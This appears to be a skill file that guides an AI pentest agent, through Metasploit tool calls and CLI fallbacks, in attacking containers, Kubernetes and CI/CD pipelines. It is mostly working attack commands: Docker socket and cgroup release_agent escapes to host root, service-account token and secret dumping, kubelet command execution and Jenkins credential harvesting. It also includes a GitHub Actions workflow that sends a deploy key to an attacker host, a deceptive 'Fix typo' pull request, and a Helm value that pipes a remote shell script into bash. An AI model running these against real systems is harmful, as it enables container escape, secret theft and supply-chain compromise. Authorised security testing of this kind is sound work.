container-devops-pentest

name	container-devops-pentest
description	Guides container and DevOps penetration testing for Docker escape, Kubernetes abuse, CI/CD pipeline secrets, package manager poisoning, and secrets enumeration from footholds or exposed services.

Container and DevOps Pentest

Prerequisites

• Container orchestration or CI/CD targets are in scope.
• Exposed Docker API (2375/2376): verify scope, load hacktricks-methodology.
• Cloud-hosted clusters: also load cloud-pentest.

Workflow

Task Progress:
- [ ] Identify container runtime (Docker, K8s) or CI/CD platform
- [ ] Enumerate pods, services, secrets, pipeline configs
- [ ] Test escape, privilege escalation, secret exfil
- [ ] Document with namespace/cluster/pipeline context

Docker enumeration

Inside container

MSF MCP (preferred):

msf_run_post_module(
  module_name="post/linux/gather/checkcontainer",
  engagement_id="<id>",
  session_id=<sid>,
  options={}
)

CLI fallback:

cat /proc/1/cgroup
ls /.dockerenv 2>/dev/null
capsh --print
ls -la /var/run/docker.sock 2>/dev/null
deepce.sh

Mounted Docker socket escape

MSF: No direct module; use CLI.

CLI fallback:

curl --unix-socket /var/run/docker.sock http://localhost/containers/json
docker -H unix:///var/run/docker.sock run -v /:/host -it alpine chroot /host sh

Open Docker API (2375/2376)

MSF MCP (preferred):

msf_run_auxiliary_module(
  module_name="auxiliary/scanner/http/docker_version",
  engagement_id="<id>",
  options={"RHOSTS": "<target>", "RPORT": 2375}
)
msf_run_auxiliary_module(
  module_name="auxiliary/scanner/http/docker_login",
  engagement_id="<id>",
  options={"RHOSTS": "<target>", "RPORT": 2375, "USERNAME": "admin", "PASSWORD": "password"}
)

CLI fallback:

curl http://<target>:2375/containers/json
docker -H tcp://<target>:2375 run -v /:/host -it alpine chroot /host sh

Privileged container escape (cgroup release_agent)

MSF: No direct module; use CLI.

CLI fallback:

mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp
echo 1 > /tmp/cgrp/notify_on_release
echo "$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)/shellcmd" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /shellcmd; echo 'id > /tmp/output' >> /shellcmd; chmod +x /shellcmd
sh -c "echo \$\$ > /tmp/cgrp/cgroup.procs"

Kubernetes enumeration

Service account token queries

MSF: No direct module; use CLI.

CLI fallback:

TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
NS=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)
curl -s -k -H "Authorization: Bearer $TOKEN" https://$KUBERNETES_SERVICE_HOST:$KUBERNETES_SERVICE_PORT/api/v1/namespaces/$NS/secrets
kubectl auth can-i --list
kubectl get pods,secrets,roles,rolebindings -A

RBAC abuse: privileged pod deploy

MSF: No direct module; use CLI.

CLI fallback:

kubectl apply -f priv-escape.yaml
# priv-escape.yaml: hostPID, hostNetwork, privileged, hostPath mount /

Kubelet abuse (10250)

MSF MCP (preferred):

msf_run_auxiliary_module(
  module_name="auxiliary/scanner/http/kubelet_healthz",
  engagement_id="<id>",
  options={"RHOSTS": "<node>", "RPORT": 10250}
)

CLI fallback:

curl -k https://<node>:10250/pods
curl -k -X POST "https://<node>:10250/run/<ns>/<pod>/<container>" -d "cmd=id"

Tools: kube-hunter, kube-bench, kubescape, KubeHound.

CI/CD secrets enumeration

General env and config search

MSF MCP (preferred):

msf_run_post_module(
  module_name="post/multi/gather/env",
  engagement_id="<id>",
  session_id=<sid>,
  options={}
)

CLI fallback:

env | sort
find / -name "*.yml" -path "*workflow*" 2>/dev/null
find / -name "Jenkinsfile" 2>/dev/null
grep -r "password\|secret\|token\|apikey" . 2>/dev/null

GitHub Actions exploit PoC (pull_request_target)

MSF: No direct module; use CLI.

CLI fallback:

# Attacker PR to repo with vulnerable workflow:
# .github/workflows/vuln.yml (in target repo, misconfigured)
on:
  pull_request_target:
    types: [opened]
jobs:
  pwn:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v3
        with:
          ref: ${{ github.event.pull_request.head.ref }}
      - run: curl http://attacker/exfil?secret=${{ secrets.DEPLOY_KEY }}

# Fork PR attack flow
gh repo fork target/repo --clone
# Add malicious workflow or exploit existing pull_request_target
git push origin exploit-branch
gh pr create --title "Fix typo" --body "Minor fix"

Check: pull_request_target, unpinned actions, self-hosted runner access, ${{ secrets.* }} in fork PR context.

GitLab CI

MSF: No direct module; use CLI.

CLI fallback:

cat .gitlab-ci.yml
# Check CI_JOB_TOKEN scope, runner tags, protected variables
curl --header "JOB-TOKEN: $CI_JOB_TOKEN" "https://gitlab/api/v4/projects"

Jenkins

MSF MCP (preferred):

msf_run_auxiliary_module(
  module_name="auxiliary/scanner/http/jenkins_enum",
  engagement_id="<id>",
  options={"RHOSTS": "<jenkins>", "RPORT": 8080}
)
msf_module_check(
  module_name="exploit/multi/http/jenkins_metaprogramming",
  engagement_id="<id>",
  module_type="exploit",
  options={"RHOSTS": "<jenkins>", "RPORT": 8080}
)

CLI fallback:

curl -s http://jenkins:8080/credentials/store/system/domain/_/api/json
curl -s http://jenkins:8080/scriptText --data-urlencode "script=println Jenkins.instance.pluginManager.plugins"

Helm template injection

MSF: No direct module; use CLI.

CLI fallback:

# Test values injection in CI/CD pipeline
helm template myapp ./chart --set image.tag='"; id; echo "'
helm template myapp ./chart -f malicious-values.yaml

# malicious-values.yaml:
# image:
#   tag: '"; curl attacker/shell.sh | bash; echo "'

If pipeline runs helm template or helm install with untrusted values, command injection may occur in shell wrappers.

DevOps secret locations

Location	Contents
K8s Secrets	DB passwords, API keys, TLS
Docker configs	~/.docker/config.json
CI env vars	Cloud keys, deploy tokens
Helm values	Inline secrets
Terraform state	Plaintext creds in .tfstate
.env files	App secrets

See cloud-pentest for Terraform state reading.

Metasploit integration

MSF MCP (preferred):

msf_search_modules(query="docker jenkins tomcat")
msf_run_auxiliary_module(
  module_name="auxiliary/scanner/http/docker_version",
  engagement_id="<id>",
  options={"RHOSTS": "<target>", "RPORT": 2375}
)

Most container abuse is kubectl/docker/API. Include engagement_id on MSF action tools.

Related skills

• cloud-pentest - cloud-hosted containers and registries (ECR, ACR)
• internal-ad-pentest - on-prem K8s with AD integration
• linux-pentest - host privesc after container escape
• web-app-pentest - exposed CI/CD web UIs, dependency confusion
• ssrf-pentest - SSRF to internal Docker/K8s APIs
• red-team-evasion - OPSEC before noisy container escape attempts